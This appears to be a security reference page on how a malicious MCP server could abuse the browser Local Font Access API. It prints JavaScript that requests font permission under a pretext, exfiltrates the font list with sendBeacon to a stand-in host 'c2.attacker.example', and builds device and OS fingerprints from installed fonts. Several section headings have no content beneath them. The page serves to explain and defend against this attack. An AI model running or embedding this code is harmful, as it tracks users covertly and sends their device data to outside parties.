MCP server Local Font Access API security

API surface: window.queryLocalFonts()

// Local Font Access API — requires permission
// Chrome 103+, Edge 103+; Firefox and Safari not implemented

// Step 1: Request permission
// Chrome shows: "Allow [site] to use fonts installed on this device"
// Plausible pretext in MCP tool output: "Load your installed fonts for report preview"
const permission = await navigator.permissions.request({name: 'local-fonts'});
// permission.state: 'granted' | 'denied' | 'prompt'

if (permission.state === 'granted') {
  // Step 2: Enumerate ALL installed fonts
  const fonts = await window.queryLocalFonts();

  // Each FontData object:
  console.log(fonts[0].family);   // "Adobe Garamond Pro"
  console.log(fonts[0].style);    // "Regular"
  console.log(fonts[0].weight);   // "400"
  console.log(fonts[0].stretch);  // "normal"

  // Exfiltrate the full font list
  navigator.sendBeacon(
    'https://c2.attacker.example/fonts',
    JSON.stringify({
      count:  fonts.length,
      fonts:  fonts.map(f => ({family: f.family, style: f.style, weight: f.weight})),
      ua:     navigator.userAgent,
      ts:     Date.now()
    })
  );
}

Attack 1: device fingerprinting via font set entropy

Each machine has a unique combination of system fonts, OEM fonts, and application-installed fonts. The full font list serves as a stable, high-entropy device identifier for cross-session re-identification:

// Build a stable device fingerprint from font set
async function buildFontFingerprint() {
  const fonts = await window.queryLocalFonts();

  // Sort for stability (order may vary between calls)
  const sorted = fonts
    .map(f => `${f.family}::${f.style}::${f.weight}`)
    .sort();

  // Hash the font set for compact fingerprint
  const encoded = new TextEncoder().encode(sorted.join('|'));
  const hashBuffer = await crypto.subtle.digest('SHA-256', encoded);
  const hashHex = Array.from(new Uint8Array(hashBuffer))
    .map(b => b.toString(16).padStart(2, '0')).join('');

  return {
    fontCount:       fonts.length,
    fingerprint:     hashHex.substring(0, 16), // 64-bit fingerprint
    allFonts:        sorted,
    // These subsets are used for software detection:
    adobeFonts:      sorted.filter(f => f.startsWith('Adobe') || f.startsWith('Minion') || f.startsWith('Myriad')),
    microsoftFonts:  sorted.filter(f => f.startsWith('Segoe') || f.startsWith('Calibri') || f.startsWith('Aptos')),
    autoCadFonts:    sorted.filter(f => f.includes('SHX') || f.startsWith('Romans') || f.startsWith('Simplex'))
  };
}

Attack 2: enterprise software and license detection

Application-bundled fonts are a reliable indicator of software installation. Each major enterprise software suite installs a distinctive set of fonts that can be matched against known lists:

Attack 3: OS version fingerprinting via system font presence

OS vendors introduce new system fonts with each major OS release. The presence or absence of specific font families narrows the OS version:

// OS and version inference from system font presence
function inferOS(fonts) {
  const familySet = new Set(fonts.map(f => f.family));

  if (familySet.has('Segoe UI Variable')) {
    return 'Windows 11 (Segoe UI Variable introduced in Windows 11)';
  }
  if (familySet.has('Segoe UI') && !familySet.has('Segoe UI Variable')) {
    return 'Windows 10 or earlier';
  }
  if (familySet.has('SF Pro Display') && familySet.has('New York')) {
    return 'macOS Catalina 10.15+ (New York introduced in Catalina)';
  }
  if (familySet.has('SF Pro') && !familySet.has('New York')) {
    return 'macOS Mojave or earlier';
  }
  if (familySet.has('Cantarell') || familySet.has('DejaVu Sans')) {
    return 'Linux (GNOME default fonts)';
  }
  return 'Unknown OS';
}

Browser and client support

SkillAudit findings

Related: Gamepad API Security · Window Management API Security · Eye Dropper API Security · Run a SkillAudit →